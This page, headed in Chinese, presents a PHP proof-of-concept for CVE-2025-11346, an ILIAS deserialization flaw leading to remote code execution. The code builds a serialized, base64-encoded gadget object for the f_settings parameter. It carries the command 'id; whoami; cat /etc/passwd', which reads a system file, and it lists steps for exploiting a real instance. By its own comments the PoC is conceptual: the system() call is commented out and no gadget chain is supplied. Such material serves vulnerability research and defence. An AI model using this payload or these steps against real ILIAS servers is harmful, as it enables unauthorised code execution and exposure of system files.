CVE-2025-11346：ILIAS反序列化漏洞导致远程代码执行

<?php /** * CVE-2025-11346 - ILIAS Deserialization Vulnerability PoC * Target: ILIAS Base64 Decoding Handler - unserialize() on f_settings * Vulnerability: Unsafe deserialization leading to RCE * * Note: This PoC demonstrates the concept of the deserialization attack. * A real exploit requires a working POP gadget chain specific to the * target ILIAS installation's libraries. */ // Step 1: Define a malicious class that will be triggered during deserialization class MaliciousGadget { public $cmd; public function __destruct() { // This destructor is automatically called during unserialize() // In a real exploit, this would execute system commands echo "[+] Deserialization triggered!\n"; echo "[+] Command would execute: " . $this->cmd . "\n"; // system($this->cmd); // Actual command execution in real exploit } } // Step 2: Create the malicious payload object $payload = new MaliciousGadget(); $payload->cmd = "id; whoami; cat /etc/passwd"; // Step 3: Serialize the object $serialized = serialize($payload); echo "[*] Serialized payload: " . $serialized . "\n"; // Step 4: Base64 encode the serialized data (as expected by ILIAS handler) $encoded = base64_encode($serialized); echo "[*] Base64 encoded payload: " . $encoded . "\n"; // Step 5: Simulate the exploit request // The f_settings parameter is sent to the vulnerable endpoint $target_url = "https://target-ilias-instance/ilias.php"; $post_data = array( 'f_settings' => $encoded, // Additional parameters may be required depending on the specific endpoint ); /* * Real exploitation steps: * 1. Obtain valid low-privilege credentials to the ILIAS instance * 2. Identify the vulnerable endpoint accepting f_settings parameter * 3. Find or construct a POP gadget chain using ILIAS's available classes * 4. Send the crafted payload via POST request * 5. Achieve Remote Code Execution on the target server */ // For verification, demonstrate the unsafe unserialize behavior: // echo "[*] Triggering unserialize...\n"; // $result = unserialize(base64_decode($encoded)); ?>